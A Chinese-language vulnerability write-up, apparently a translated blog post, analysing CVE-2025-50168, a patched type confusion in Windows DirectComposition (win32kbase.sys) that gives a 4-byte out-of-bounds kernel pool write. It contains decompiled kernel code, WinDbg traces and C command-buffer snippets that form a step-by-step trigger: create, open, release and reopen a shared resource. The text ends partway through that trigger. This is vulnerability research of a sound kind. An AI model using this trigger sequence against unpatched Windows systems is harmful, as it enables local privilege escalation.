文章总结: 本文分析CVE-2025-50168漏洞,揭示WindowsDirectComposition因资源管理不当导致的类型混淆与越界写入。作者通过释放并重打开资源触发漏洞,利用无SMAP环境破坏IoRing对象指针,结合侧信道攻击泄露内核基址,最终实现本地权限提升。文章包含调试分析、利用原语及补丁对比,技术深度较高。 综合评分: 92 文章分类: 漏洞分析,二进制安全,实战经验,漏洞POC
四字节的谎言:无 SMAP 保护下的内核指针信任欺骗
Hyeonjin
securitainment
2026年1月8日 22:26 中国香港
引言
本文记录了我作为 Pwn2Own Berlin 2025首次参赛提交的漏洞 (注:该问题已在 2025 年 8 月的补丁星期二中修复,编号为 CVE-2025-50168)。这不仅仅是一份常规的漏洞报告,更是一个案例研究,展示了一小块看似微不足道的数据如何破坏操作系统的信任假设并实现权限提升。我将解释该漏洞的核心机制、使利用成为可能的设计和环境因素,特别关注目标 Windows 配置上缺乏 SMAP 强制执行的情况。最后,我将描述如何改编现有技术以产生新颖的利用原语。
背景
DirectComposition 是一项 Windows 技术,旨在通过利用 GPU 加速实现高性能 UI 渲染。该功能有助于流畅实现视觉效果,如动画、透明度和变换,这些对现代图形用户界面至关重要。
DirectComposition 的实现由两个主要组件组成:
- 用户模式组件:一个名为 dwm.exe (Desktop Window Manager)的进程,负责管理合成任务。
- 内核模式组件:DirectComposition类,在 win32kbase.sys 中实现,提供底层合成基础设施。
dwm.exe 进程以 SYSTEM IL 运行,授予其管理高权限合成任务所需的权限。
当 GUI 应用程序打算使用 DirectComposition 应用视觉效果时,它与 win32kbase.sys 中实现的 DirectComposition 组件交互。应用程序通过该组件执行创建资源和设置属性等操作。
随后,内核编组这些操作的结果并将其转发到 dwm.exe 进程,后者将请求的更改应用到桌面合成。
要执行这些操作,应用程序必须:
- 创建一个通道以传达合成命令。
- 生成渲染所需的资源。
- 将合成和效果应用于资源。
- 提交到 dwm.exe 以应用累积的更改。
然后通过调用 Native APIs 将这些更改提交到 dwm.exe,这将在以下部分中描述。
NtDCompositionCreateChannel函数是一个 Native API,用于在用户模式应用程序和内核中的 DirectComposition 子系统之间创建合成通道。
typedefNTSTATUS(*pNtDCompositionCreateChannel)(
OUT PHANDLE hChannel,
IN OUT PSIZE_T pSectionSize,
OUT PVOID* pMappedAddress
);
-
hChannel:接收新创建的 DirectComposition 通道的句柄。
-
pSectionSize:输入/输出参数,指定共享命令缓冲区的大小。
-
pMappedAddress:接收指向用于写入合成命令的内存映射缓冲区的指针。
NtDCompositionProcessChannelBuffer函数是一个 Native API,用于处理已写入共享命令缓冲区的一批合成命令。
typedefNTSTATUS(*pNtDCompositionProcessChannelBatchBuffer)(
IN HANDLE hChannel,
IN DWORD dwBufferSize,
OUT PDWORD pOutArg1,
OUT PDWORD pOutArg2
);
-
hChannel:由
NtDCompositionCreateChannel先前创建的合成通道的句柄 -
dwBufferSize:一个输入值,指定批次的起始位置或命令流中的偏移量。
-
pOutArg1,
pOutArg2:输出参数,在处理批次后接收内部状态或结果代码。
NtDCompositionCommitChannel函数是一个 Native API,用于提交在通道上写入的合成命令,表明该批次已准备好供合成器执行。
typedefNTSTATUS(*pNtDCompositionCommitChannel)(
IN HANDLE hChannel,
OUT PDWORD pOut1,
OUT PDWORD pOut2,
IN DWORD flag,
IN HANDLE Object
);
-
hChannel:用于通信的合成通道的句柄。
-
pOut1,
pOut2:输出参数,可能从提交操作返回内部状态或结果值。 -
flag:控制提交行为的输入标志 (例如 flush、sync 等)
-
Object:可选的同步对象句柄,例如事件,用于协调提交操作。
漏洞
2: kd> r
rax=fffff800288e9848 rbx=0000000000000005 rcx=0000000000000039
rdx=000000000000005c rsi=ffffb602e61e7a00 rdi=0000000000000000
rip=fffff800287888c7 rsp=fffff908f33c7870 rbp=000000000000002b
r8=fffff80028660000 r9=fffff908f33c7904 r10=ffffb602e61e7a00
r11=0000000000000000 r12=000000000000000c r13=fffff80028660000
r14=ffffb602e670c010 r15=ffffd40fd5870010
iopl=0 nv up ei pl nz na pe cy
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b
efl=00040203
win32kbase!DirectComposition::CResourceMarshaler::SetFloatProperty+0x27:
fffff800`287888c7 f3420f111412 movss dword ptr [rdx+r10],xmm2
ds:002b:ffffb602`e61e7a5c=00000000
2: kd> !pool @r10
Pool page ffffb602e61e7a00 region is Paged pool
ffffb602e61e7040 size: 50 previous size: 0 (Free) SeAt
ffffb602e61e7090 size: 50 previous size: 0 (Allocated) SeAt
[…]
*ffffb602e61e79f0 size: 50 previous size: 0 (Allocated) *DCs0 Process:
ffffe588bce760c0
Pooltag DCs0 : DCOMPOSITIONTAG_SHAREDRESOURCEMARSHALER,
Binary : win32kbase!DirectComposition::C
ffffb602e61e7a40 size: 50 previous size: 0 (Allocated) Gapl
ffffb602e61e7a90 size: 50 previous size: 0 (Allocated) Gapl
[…]
2: kd> dq @r10
ffffb602`e61e7a00 fffff800`288c58e0 00000000`00000000
ffffb602`e61e7a10 00000000`00000000 00000000`00000001
ffffb602`e61e7a20 00000013`00000001 00000000`00000000
ffffb602`e61e7a30 00000000`00000000 ffffe588`bc824978
ffffb602`e61e7a40 6c706147`03050000 00000000`00000000 <- Next chunk
ffffb602`e61e7a50 0000ff00`00ff0000 00000000`000000ff
ffffb602`e61e7a60 00000010`00000008 00000008`00000010
ffffb602`e61e7a70 00000008`00000000 00000008`00000008
2: kd> p
win32kbase!DirectComposition::CResourceMarshaler::SetFloatProperty+0x2d:
fffff800`287888cd 8b4810 mov ecx,dword ptr [rax+10h]
2: kd> dq @r10
ffffb602`e61e7a00 fffff800`288c58e0 00000000`00000000
ffffb602`e61e7a10 00000000`00000000 00000000`00000001
ffffb602`e61e7a20 00000013`00000001 00000000`00000000
ffffb602`e61e7a30 00000000`00000000 ffffe588`bc824978
ffffb602`e61e7a40 6c706147`03050000 00000000`00000000 <- Next chunk
ffffb602`e61e7a50 0000ff00`00ff0000 41414141`000000ff <- overwriten 4 bytes of 0xC
ffffb602`e61e7a60 00000010`00000008 00000008`00000010
ffffb602`e61e7a70 00000008`00000000 00000008`00000008
该漏洞看起来是一个 越界写入,但受到特定约束。虽然攻击者无法控制索引,但该漏洞允许在同一 Low Fragmentation Heap (LFH) 桶内的下一个堆块中以固定偏移量 (+0xC) 写入 4 个任意字节。
易受攻击的对象驻留在从 Paged Pool分配的 0x50 字节 LFH 块中 (包括 POOL_HEADER),写入原语允许修改同一桶内确定位置的相邻块。
上面的调试器快照显示了损坏的块内容和四个字节落地的确定性偏移量,这表明这是逻辑级别的不匹配而不是原始内存溢出。
那么为什么会发生这种越界写入呢?在下一节中,我们将追踪根本原因并了解类型不匹配如何导致跨越单个 LFH 桶内池边界的写入原语。
根因分析
此漏洞源于 DirectComposition 组件内的资源管理不当和类型混淆。
在以下部分中,将重点关注这些资源的处理方式来解释漏洞的根本原因。
为了提供对漏洞的高级和直观的理解,以下是可用于触发该问题的 DirectComposition 命令序列示例:
- 创建 External Shared Resource
- 获取 External Shared Resource 句柄
- 释放 External Shared Resource
- 重新打开 External Shared Resource
- 在资源上设置浮点属性
从上述命令序列可以看出——即使在初步阶段——该漏洞与对象的生命周期密切相关。
实际上,该问题最终源于资源管理不当,导致 类型混淆条件,最终导致 越界写入。
这凸显了 DirectComposition 在释放和重新打开共享资源对象后如何处理其重用方面的关键缺陷。
首先,创建 External Shared Resource
((CREATE_RESOURCE*)CmdBuf)->CmdId = CreateResource;
((CREATE_RESOURCE*)CmdBuf)->ResourceId = 0x1;
((CREATE_RESOURCE*)CmdBuf)->ResourceType = 0x13;
((CREATE_RESOURCE*)CmdBuf)->IsSharedResource = 1;
size = sizeof(CREATE_RESOURCE);
status = NtDCompositionProcessChannelBatchBuffer(g_hChannel, size, &dwOutArg1, &dwOutArg2);
这里重要的一点是 ResourceType设置为 0x13,IsSharedResource标志 已启用。0x13类型代表 CCaptureControllerMarshaler。
__int64 __fastcall DirectComposition::CApplicationChannel::ProcessCommandBufferIterator(
unsigned __int64 this,
constunsigned __int64 *a2,
unsignedint a3,
char a4,
unsignedint *a5)
{
[…]
case2u: // CreateResource
this = (unsigned __int64)CmdBuf;
if ( v6 < 0x10 )
goto LABEL_38;
ResourceType = *((_DWORD *)CmdBuf + 2);
v164 = ResourceType;
if ( ResourceType - 1 > 0xBE )
goto LABEL_38;
v157 = CmdBuf + 2;
v153 = v6 - 16;
if ( *((_DWORD *)CmdBuf + 3) ) // isSharedResource
{
result = DirectComposition::CApplicationChannel::CreateExternalSharedResource(
ChannelObj,
*((_DWORD *)CmdBuf + 1), // ResourceId
ResourceType);
break;
}
v12 = *((unsignedint *)CmdBuf + 1);
v166 = 0LL;
v168[0] = 0LL;
result = DirectComposition::CApplicationChannel::CreatePrivateMarshaler(ChannelObj_1, ResourceType, v168);
if ( result < 0 )
break;
[…]
CreateResource命令根据 IsSharedResource标志是否 已启用,调用 DirectComposition::CApplicationChannel::CreateExternalSharedResource来创建共享资源。
__int64 __fastcall DirectComposition::CApplicationChannel::CreateExternalSharedResource(
DirectComposition::CApplicationChannel *this,
unsignedint a2,
unsignedint a3)
{
__int64 result; // rax
structDirectComposition::CResourceMarshaler *v7; // [rsp+30h] [rbp-28h] BYREF
structDirectComposition::ResourceObject *v8; // [rsp+78h] [rbp+20h] BYREF
v8 = 0LL;
v7 = 0LL;
if ( a3 != 182 && (unsigned __int8)DirectComposition::CResourceMarshaler::IsDerivedResourceType(a3) )
return3221225485LL;
result = CreateSharedResourceObject((void *)a3, &v8);
if ( (int)result >= 0 )
{
_InterlockedCompareExchange((volatilesigned __int32 *)v8 + 15, 1, 0);
result = DirectComposition::CApplicationChannel::OpenInternalSharedWriteResource(this, a3, v8, &v7);
if ( (int)result >= 0 )
returnDirectComposition::CApplicationChannel::RegisterExternalResource(this, v7, a2, a3, 1);
}
return result;
}
在 DirectComposition::CApplicationChannel::CreateExternalSharedResource中,首先检查传入的 ResourceType,并调用 CreateSharedResourceObject创建 SharedResourceObject。然后调用 DirectComposition::CApplicationChannel::OpenInternalSharedWriteResource创建内部资源编组器,并调用 DirectComposition::CApplicationChannel::RegisterExternalResource将其注册到通道对象。
2: kd> pc
win32kbase!CreateSharedResourceObject+0xa0:
fffff802`2fd6c8fc e83fd24e6b call nt!ObCreateObject (fffff802`9b259b40)
2: kd> p
win32kbase!CreateSharedResourceObject+0xa5:
fffff802`2fd6c901 8bd8 mov ebx,eax
2: kd> !object poi(@rbp+40)
Object: ffffbd8b7f79b6d0 Type: (ffffbd8b777a8e30) Composition
ObjectHeader: ffffbd8b7f79b6a0 (new version)
HandleCount: 0 PointerCount: 1
在 CreateSharedResourceObject中,创建了一个类型为 Composition的内核对象以实现与用户模式应用程序的交互。此时,初始对象的 PointerCount设置为 1。从这里开始,我们将跟踪此值。
__int64 __fastcall DirectComposition::CApplicationChannel::OpenInternalSharedWriteResource(
DirectComposition::CApplicationChannel *this,
unsignedint a2,
structDirectComposition::ResourceObject *a3,
structDirectComposition::CResourceMarshaler **a4)
{
int v7; // ebx
structDirectComposition::CResourceMarshaler *v8; // rdi
DirectComposition::CHostVisualMarshaler *v10; // rax
structDirectComposition::CResourceMarshaler *v11; // [rsp+20h] [rbp-18h] BYREF
v11 = 0LL;
if ( a2 != 0xB6 )
{
v7 = DirectComposition::GeneratedCreateSharedWriteMarshaler(
(DirectComposition *)a2,
(unsignedint)((_DWORD)a3 + 24),
(conststructDirectComposition::CSharedSystemResource *)&v11,
a4);
if ( v7 >= 0 )
{
v8 = v11;
goto LABEL_4;
}
LABEL_10:
*((_DWORD *)a3 + 15) = 0;
ObfDereferenceObject(a3);
return (unsignedint)v7;
}
v10 = (DirectComposition::CHostVisualMarshaler *)DirectComposition::Memory::AllocateAndClear_0(0x178uLL, 0x76684344u);
if ( !v10
|| (v11 = (structDirectComposition::CResourceMarshaler *)DirectComposition::CHostVisualMarshaler::CHostVisualMarshaler(
v10,
(structDirectComposition::ResourceObject *)((char *)a3 + 24)),
(v8 = v11) == 0LL) )
{
v7 = -1073741801;
goto LABEL_10;
}
LABEL_4:
v7 = DirectComposition::CApplicationChannel::InitializeAndRegisterInternalResource(this, v8);
if ( v7 >= 0 )
*a4 = v8;
return (unsignedint)v7;
}
接下来,在 DirectComposition::CApplicationChannel::OpenInternalSharedWriteResource中,调用函数 DirectComposition::GeneratedCreateSharedWriteMarshaler创建内部编组器对象。
__int64 __fastcall DirectComposition::GeneratedCreateSharedWriteMarshaler(
DirectComposition *this,
__int64 a2,
conststructDirectComposition::CSharedSystemResource *a3,
structDirectComposition::CResourceMarshaler **a4)
{
[…]
v14 = (unsignedint)((_DWORD)this - 19);
if ( !(_DWORD)v14 )
{
v37 = (DirectComposition::CCaptureControllerMarshaler *)Win32AllocPoolWithQuotaZInitImpl(v14, 0x98uLL, 0x30734344u);
v11 = v37;
if ( v37 )
{
DirectComposition::CCaptureControllerMarshaler::CCaptureControllerMarshaler(v37);
v12 = &DirectComposition::CSharedResourceMarshaler<DirectComposition::CCaptureControllerMarshaler,2>::`vftable';
*((_QWORD *)v11 + 18) = a2;
goto LABEL_9;
}
goto LABEL_26;
}
[…]
[In Disassembly]
.text:00000001C007B56B loc_1C007B56B: ; CODE XREF: DirectComposition::GeneratedCreateSharedWriteMarshaler(uint,DirectComposition::CSharedSystemResource const *,DirectComposition::CResourceMarshaler * *)+8F↑j
.text:00000001C007B56B mov edx, 98h ; unsigned __int64
.text:00000001C007B570 mov r8d, 30734344h ; unsigned int
.text:00000001C007B576 call ?Win32AllocPoolWithQuotaZInitImpl@@YAPEAX_K0K@Z ; Win32AllocPoolWithQuotaZInitImpl(unsigned __int64,unsigned __int64,ulong)
.text:00000001C007B57B mov rbx, rax
.text:00000001C007B57E test rax, rax
.text:00000001C007B581 jz loc_1C007B356
.text:00000001C007B587 mov rcx, rax ; this
.text:00000001C007B58A call ??0CCaptureControllerMarshaler@DirectComposition@@QEAA@XZ ; DirectComposition::CCaptureControllerMarshaler::CCaptureControllerMarshaler(void)
.text:00000001C007B58F lea rax, ??_7?$CSharedResourceMarshaler@VCCaptureControllerMarshaler@DirectComposition@@$01@DirectComposition@@6B@ ; const DirectComposition::CSharedResourceMarshaler<DirectComposition::CCaptureControllerMarshaler,2>::`vftable'
.text:00000001C007B596 mov [rbx+90h], rdi
.text:00000001C007B59D jmp loc_1C007B265
然后,根据传入的 ResourceType,创建相应的编组器。对于类型 0x13,创建大小为 0x98的 CCaptureControllerMarshaler对象。
5: kd> r
rax=fffff8022ff0a9f0 rbx=ffffd3833827fe90 rcx=ffffd3833827fe90
rdx=0000000000000013 rsi=ffff818bcc6e7820 rdi=ffffbd8b7f79b6e8
rip=fffff8022fd6d086 rsp=ffff818bcc6e77d0 rbp=ffffd3833ae43050
r8=0000000030734344 r9=ffffd3833827fe90 r10=0000000000000001
r11=ffff818bcc6e77c0 r12=0000000000000002 r13=fffff8022fcb0000
r14=ffff818bcc6e7870 r15=ffffd18cc0bd0010
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
rbx寄存器包含指向新创建的 CCaptureControllerMarshaler对象的指针。
之后,资源在 ChannelObject的资源数组中注册。
__int64 __fastcall DirectComposition::CApplicationChannel::RegisterExternalResource(
__int64 a1,
structDirectComposition::CResourceMarshaler *NewObj,
unsignedint a3,
int a4,
int a5)
{
[…]
LABEL_4:
v12 = *(_QWORD *)(a1 + 96);
NewObjectPtr = NewObj;
memmove((void *)(*(_QWORD *)(a1 + 0x40) + v12 * v11), &NewObjectPtr, v12);
++*(_QWORD *)(a1 + 104);
if ( (Microsoft_Windows_Win32kEnableBits & 0x4000000000LL) != 0 )
McTemplateK0qqqxxqtt_EtwWriteTransfer(
*((_DWORD *)NewObj + 8),
a3,
a5 == 2,
*(_DWORD *)(a1 + 28),
*((_DWORD *)NewObj + 8),
a3,
*((_DWORD *)NewObj + 8),
a3,
v6,
a5 == 1,
a5 == 2);
return (unsignedint)v9;
}
6: kd> r
rax=ffffd383391cfb50 rbx=ffffd3833ae43050 rcx=ffffd383391cfb50
rdx=ffff818bcc6e7840 rsi=0000000000000013 rdi=0000000000000000
rip=fffff8022fd68ea1 rsp=ffff818bcc6e77a0 rbp=0000000000000000
r8=0000000000000008 r9=ffffd383391cfd20 r10=0000000000000001
r11=0000000000001001 r12=0000000000000001 r13=ffffd3833827fe90
r14=0000000000000040 r15=0000000000000001
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
win32kbase!DirectComposition::CApplicationChannel::RegisterExternalResource+0x79:
fffff802`2fd68ea1 e81ad01800 call win32kbase!memcpy (fffff802`2fef5ec0)
6: kd> dq @rdx l1
ffff818b`cc6e7840 ffffd383`3827fe90
可以观察到,创建的 CCaptureControllerMarshaler资源存储在 ChannelObject+ 0x40 + ResourceId* 8 处。
第二步是获取 External Shared Resource 的句柄
((OPEN_SHARED_RESOURCE_HANDLE*)CmdBuf)->CmdId = OpenSharedResourceHandle;
((OPEN_SHARED_RESOURCE_HANDLE*)CmdBuf)->ResourceId = 0x1;
((OPEN_SHARED_RESOURCE_HANDLE*)CmdBuf)->OpenedHandlePtr = 0; // [Out]
size = sizeof(OPEN_SHARED_RESOURCE_HANDLE);
status = NtDCompositionProcessChannelBatchBuffer(g_hChannel, size, &dwOutArg1, &dwOutArg2);
HANDLE hSharedResource = ((OPEN_SHARED_RESOURCE_HANDLE*)CmdBuf)->OpenedHandlePtr;
当使用 CreateResource中指定的 ResourceId作为参数执行 OpenSharedResourceHandle命令时,句柄通过 CmdBuf中的 OpenHandlePtr偏移量返回。
__int64 __fastcall DirectComposition::CApplicationChannel::ProcessCommandBufferIterator(
unsigned __int64 this,
constunsigned __int64 *a2,
unsignedint a3,
char a4,
unsignedint *a5)
{
[…]
case9u: // OpenSharedResourceHandle
if ( v6 < 0x10 )
{
result = 0xC000000D;
}
else
{
v157 = CmdBuf + 2;
v153 = v6 - 16;
result = ((int (__stdcall *)(DirectComposition::CApplicationChannel *__hidden, unsignedint, void **))DirectComposition::CApplicationChannel::OpenSharedResourceHandle)(
ChannelObj,
*((_DWORD *)CmdBuf + 1),
(void **)CmdBuf + 1);
}
break;
[…]
structDirectComposition::CResourceMarshaler *__fastcall DirectComposition::CApplicationChannel::LookupResourceMarshaler(
DirectComposition::CApplicationChannel *this,
int ResourceId)
{
unsigned __int64 v2; // rbx
DirectComposition::CResourceMarshaler *v3; // rbx
v2 = (unsignedint)(ResourceId - 1);
if ( ResourceId && v2 < *((_QWORD *)this + 11) )
v3 = *(DirectComposition::CResourceMarshaler **)(*((_QWORD *)this + 12) * v2 + *((_QWORD *)this + 8));
else
v3 = 0LL;
if ( (unsignedint)Feature_29159638__private_IsEnabledDeviceUsageNoInline() && v3 )
DirectComposition::CResourceMarshaler::ValidateReferenceCountHash(v3);
return v3;
}
int __fastcall DirectComposition::CApplicationChannel::OpenSharedResourceHandle(
DirectComposition::CApplicationChannel *this,
int ResourceId,
void **ResourceHandlePtr)
{
structDirectComposition::CResourceMarshaler *v4; // rax
DirectComposition::CSharedSystemResource *v5; // rax
unsignedint v6; // edx
v4 = DirectComposition::CApplicationChannel::LookupResourceMarshaler(this, ResourceId);
if ( !v4 )
return0xC0000022;
v5 = (DirectComposition::CSharedSystemResource *)(*(__int64 (__fastcall **)(structDirectComposition::CResourceMarshaler *))(*(_QWORD *)v4 + 72LL))(v4);
if ( v5 )
returnDirectComposition::CSharedSystemResource::OpenSharedHandle(v5, v6, ResourceHandlePtr);
else
return0xC00000BB;
}
DirectComposition::CApplicationChannel::OpenSharedResourceHandle调用 DirectComposition::CApplicationChannel::LookupResourceMarshaler通过在 ChannelObj的资源数组中搜索给定的 ResourceId来查找内部资源编组器。然后,它调用 DirectComposition::CSharedSystemResource::OpenSharedHandle获取与内部资源编组器关联的外部共享资源 (Composition对象) 的句柄。
NTSTATUS __fastcall DirectComposition::CSharedSystemResource::OpenSharedHandle(
DirectComposition::CSharedSystemResource *this,
__int64 a2,
void **Handle)
{
*Handle = (void *)-1LL;
returnObOpenObjectByPointer((char *)this - 24, 0x40u, 0LL, 3u, ExCompositionObjectType, 0, Handle);
}
7: kd> pc
win32kbase!DirectComposition::CSharedSystemResource::OpenSharedHandle+0x39:
fffff802`2fdcf201 e82ad3466b call nt!ObOpenObjectByPointer (fffff802`9b23c530)
3: kd> p
win32kbase!DirectComposition::CSharedSystemResource::OpenSharedHandle+0x3e:
fffff802`2fdcf206 4883c448 add rsp,48h
3: kd> !object ffffbd8b7f79b6d0
Object: ffffbd8b7f79b6d0 Type: (ffffbd8b777a8e30) Composition
ObjectHeader: ffffbd8b7f79b6a0 (new version)
HandleCount: 1 PointerCount: 2
此时,代表外部共享资源的 Composition对象持有 HandleCounter为 1,PointerCount为 2。
第三步是释放资源
((RELEASE_RESOURCE*)CmdBuf)->CmdId = ReleaseResource;
((RELEASE_RESOURCE*)CmdBuf)->ResourceId = 0x1;
size = sizeof(RELEASE_RESOURCE);
status = NtDCompositionProcessChannelBatchBuffer(g_hChannel, size, &dwOutArg1, &dwOutArg2);
ReleaseResource命令只需将要释放的资源的 ResourceId作为其参数。
__int64 __fastcall DirectComposition::CApplicationChannel::ProcessCommandBufferIterator(
unsigned __int64 this,
constunsigned __int64 *a2,
unsignedint a3,
char a4,
unsignedint *a5)
{
[…]
case4u: // ReleaseResource
if ( v6 < 8 )
{
result = 0xC000000D;
}
else
{
v157 = CmdBuf + 1;
v153 = v6 - 8;
v69 = *((_DWORD *)CmdBuf + 1);
result = 0;
v70 = DirectComposition::CApplicationChannel::LookupResourceMarshaler(ChannelObj_1, v69);
v71 = v70;
if ( v70 )
{
v72 = (*(__int64 (__fastcall **)(structDirectComposition::CResourceMarshaler *))(*(_QWORD *)v70 + 192LL))(v70);
if ( v72 )
{
v116 = *(structDirectComposition::CResourceMarshaler **)(v72 + 192);
if ( v116 )
{
if ( (*(__int64 (__fastcall **)(structDirectComposition::CResourceMarshaler *))(*(_QWORD *)v116
+ 128LL))(v116) )
((void (__stdcall *)(DirectComposition::CApplicationChannel *__hidden, structDirectComposition::CResourceMarshaler *))DirectComposition::CApplicationChannel::ReleaseResource)(
ChannelObj_1,
v116);
}
}
v73 = v69 - 1;
if ( v69 && v73 < *((_QWORD *)ChannelObj_1 + 11) )
{
v171[0] = 0LL;
memmove(
(void *)(*((_QWORD *)ChannelObj_1 + 8) + v73 * *((_QWORD *)ChannelObj_1 + 12)),
v171,
*((_QWORD *)ChannelObj_1 + 12));
--*((_QWORD *)ChannelObj_1 + 13);
}
((void (__stdcall *)(DirectComposition::CApplicationChannel *__hidden, structDirectComposition::CResourceMarshaler *))DirectComposition::CApplicationChannel::ReleaseResource)(
ChannelObj_1,
v71);
}
else
{
result = -1073741790;
}
}
break;
[…]
3: kd> r
rax=0000000000000000 rbx=ffffd3833827fe90 rcx=ffffd383391cfb50
rdx=ffff818bcc6e7960 rsi=ffffd3833ae43050 rdi=0000000000000000
rip=fffff8022fd5ec04 rsp=ffff818bcc6e78a0 rbp=000000000000002e
r8=0000000000000008 r9=00000000c000000d r10=0000000000000001
r11=0000000000000000 r12=0000000000000004 r13=fffff8022fcb0000
r14=0000000000000001 r15=ffffd3833ae43050
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator+0x934:
fffff802`2fd5ec04 e8b7721900 call win32kbase!memcpy (fffff802`2fef5ec0)
3: kd> dq @rcx l1
ffffd383`391cfb50 ffffd383`3827fe90
3: kd> dq @rdx l1
ffff818b`cc6e7960 00000000`00000000
ReleaseResource命令首先调用 DirectComposition::CApplicationChannel::LookupResourceMarshaler检索要释放的内部资源编组器,然后从 ChannelObj的资源数组中删除相应的编组器。
然后,以资源编组器作为参数调用 DirectComposition::CApplicationChannel::ReleaseResource。
__int64 __fastcall DirectComposition::CApplicationChannel::ReleaseResource(
DirectComposition::CApplicationChannel *this,
structDirectComposition::CResourceMarshaler *TargetObject)
{
[…]
v2 = 0LL;
MarshalerObj = TargetObject;
[…]
v18 = *((_QWORD *)this + 65);
if ( v18 )
{
*(_QWORD *)(v18 + 8) = MarshalerObj;
*((_QWORD *)this + 65) = MarshalerObj;
}
else
{
*((_QWORD *)this + 65) = MarshalerObj;
*((_QWORD *)this + 64) = MarshalerObj;
do
{
(*(void (__fastcall **)(structDirectComposition::CResourceMarshaler *, DirectComposition::CApplicationChannel *))(*(_QWORD *)MarshalerObj + 216LL))(
MarshalerObj,
this);
*((_QWORD *)this + 64) = *((_QWORD *)MarshalerObj + 1);
if ( (*((_DWORD *)MarshalerObj + 4) & 1) != 0 )
{
*((_QWORD *)MarshalerObj + 1) = *((_QWORD *)this + 60);
*((_QWORD *)this + 60) = MarshalerObj;
}
else
{
if ( (*(unsigned__int8 (__fastcall **)(structDirectComposition::CResourceMarshaler *))(*(_QWORD *)MarshalerObj + 32LL))(MarshalerObj) )
DirectComposition::CConnection::ReleaseShellResourceAccess(
*((DirectComposition::CConnection **)this + 5),
1u);
v27 = *(_QWORD *)MarshalerObj;
*((_QWORD *)MarshalerObj + 1) = 0LL;
(*(void (__fastcall **)(structDirectComposition::CResourceMarshaler *, __int64))(v27 + 96))(
MarshalerObj,
1LL);
}
MarshalerObj = (structDirectComposition::CResourceMarshaler *)*((_QWORD *)this + 64);
}
while ( MarshalerObj );
*((_QWORD *)this + 65) = 0LL;
}
}
}
return v2;
}
然后,在 DirectComposition::CApplicationChannel::ReleaseResource中,调用 MarshalerObj+ 0x216 处的 vftable。
void __fastcall DirectComposition::CSharedResourceMarshaler<DirectComposition::CCaptureControllerMarshaler,2>::ReleaseAllReferences(
DirectComposition::CCaptureControllerMarshaler *this,
structDirectComposition::CApplicationChannel *a2)
{
__int64 v2; // rax
v2 = *((_QWORD *)this + 18);
if ( v2 )
{
*(_DWORD *)(v2 + 36) = 0;
DirectComposition::CSharedSystemResource::Release(*((DirectComposition::CSharedSystemResource **)this + 18));
*((_QWORD *)this + 18) = 0LL;
}
DirectComposition::CCaptureControllerMarshaler::ReleaseAllReferences(this, a2);
}
LONG_PTR __fastcall DirectComposition::CSharedSystemResource::Release(DirectComposition::CSharedSystemResource *this)
{
returnObfDereferenceObject((char *)this - 24);
}
此时,为 Composition对象调用 DirectComposition::CSharedSystemResource::Release。
3: kd> pc
win32kbase!DirectComposition::CSharedSystemResource::Release+0xf:
fffff802`2fd5b843 e86863eb6a call nt!ObfDereferenceObject (fffff802`9ac11bb0)
0: kd> !object ffffbd8b7f79b6d0
Object: ffffbd8b7f79b6d0 Type: (ffffbd8b777a8e30) Composition
ObjectHeader: ffffbd8b7f79b6a0 (new version)
HandleCount: 1 PointerCount: 2
0: kd> p
win32kbase!DirectComposition::CSharedSystemResource::Release+0x14:
fffff802`2fd5b848 4883c428 add rsp,28h
0: kd> !object ffffbd8b7f79b6d0
Object: ffffbd8b7f79b6d0 Type: (ffffbd8b777a8e30) Composition
ObjectHeader: ffffbd8b7f79b6a0 (new version)
HandleCount: 1 PointerCount: 1
Composition对象的 PointerCount减少了 1,但由于我们已经通过 OpenSharedResourceHandle命令从用户模式持有句柄,因此该对象不会完全释放并保持存活。
DirectComposition::CCaptureControllerMarshaler *__fastcall DirectComposition::CSharedResourceMarshaler<DirectComposition::CCaptureControllerMarshaler,2>::`scalar deleting destructor'(
DirectComposition::CCaptureControllerMarshaler *Buffer,
char a2)
{
*(_QWORD *)Buffer = &DirectComposition::CSharedResourceMarshaler<DirectComposition::CCaptureControllerMarshaler,2>::`vftable';
DirectComposition::CCaptureControllerMarshaler::~CCaptureControllerMarshaler(Buffer);
if ( (a2 & 1) != 0 )
GreDeleteFastMutex(Buffer);
return Buffer;
}
1: kd> pc
win32kbase!DirectComposition::CSharedResourceMarshaler<DirectComposition::CCaptureControllerMarshaler,2>::`vector deleting destructor'+0x19:
fffff802`2fee3269 e8827effff call win32kbase!DirectComposition::CCaptureControllerMarshaler::~CCaptureControllerMarshaler (fffff802`2fedb0f0)
1: kd> r
rax=fffff8022ff0a9f0 rbx=0000000000000001 rcx=ffffd3833827fe90
rdx=0000000000000001 rsi=ffffd3833ae43050 rdi=ffffd3833827fe90
rip=fffff8022fee3269 rsp=ffff818bcc6e7820 rbp=000000000000002e
r8=0000000000000008 r9=00000000c000000d r10=fffff8029ac11bb0
r11=0000000000000000 r12=0000000000000004 r13=fffff8022fcb0000
r14=0000000000000000 r15=ffffd3833ae43050
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040282
win32kbase!DirectComposition::CSharedResourceMarshaler<DirectComposition::CCaptureControllerMarshaler,2>::`vector deleting destructor'+0x19:
fffff802`2fee3269 e8827effff call win32kbase!DirectComposition::CCaptureControllerMarshaler::~CCaptureControllerMarshaler (fffff802`2fedb0f0)
之后,在 ReleaseResource命令结束时,通过调用 (struct DirectComposition::CResourceMarshaler *)*((_QWORD *)this + 64)释放资源编组器 (CCaptureControllerMarshaler)。
总结到目前为止的情况:创建了一个 ResourceId1的资源,获得了外部共享资源的句柄,然后释放了 ResourceId1。然而,外部共享资源 (Composition 对象) 仍然存活。
在第四步中,调用 OpenSharedResource命令
((OPEN_SHARED_RESOURCE*)CmdBuf)->CmdId = OpenSharedResource;
((OPEN_SHARED_RESOURCE*)CmdBuf)->ResourceId = 0x1;
((OPEN_SHARED_RESOURCE*)CmdBuf)->ResourceHandle = hSharedResource;
((OPEN_SHARED_RESOURCE*)CmdBuf)->ResourceType = 0x13;
((OPEN_SHARED_RESOURCE*)CmdBuf)->OpenMode = 0;
size = sizeof(OPEN_SHARED_RESOURCE);
